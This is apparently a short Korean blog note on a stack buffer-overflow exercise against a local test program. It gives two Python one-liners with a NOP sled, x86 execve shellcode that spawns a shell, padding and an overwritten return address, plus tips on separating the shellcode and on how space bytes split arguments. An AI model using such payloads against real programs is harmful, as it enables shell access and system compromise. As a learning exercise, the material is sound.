반응형
(python -c 'print "\x90"*232 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xef\xbe\xad\xde" + "A"*4 + "\x04\xfa\xff\xbf"';cat)|./test
요렇게 하면 안되는게 shellcode랑 0xdeadbeef랑 구분되게 해주지 않으면 0xdeadbeef 부분까지 code로 알아먹기 때문에 shellcode가 정상적으로 작동이 되지 않음.
(python -c 'print "\x90"*222 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*10 + "\xef\xbe\xad\xde" + "A"*4 + "\x04\xfa\xff\xbf"';cat)|./test
\x20은 white space이다. 근데 이걸로 인자를 구분하므로 만약 프로그램이 argv[1]을 사용한다 가정할 때, python으로 입력을 주는 건 결국 문자열로 주는 것이므로 \x20을 만나면 이 후 문자열은 argv[2]로 들어갈 수 있다.
반응형
'Information* > 알면도움됨' 카테고리의 다른 글
python 2버전과 3버전 같이 사용하기 (0) | 2018.09.02 |
---|---|
python 가상환경 virtualenv (31) | 2018.08.31 |
scp 윈도우 리눅스 간의 파일 복사하기 (1) | 2018.04.11 |
scp 윈도우 리눅스 간의 파일 복사 (2) | 2018.04.10 |
The system is running in low-graphics mode 해결 (0) | 2018.03.06 |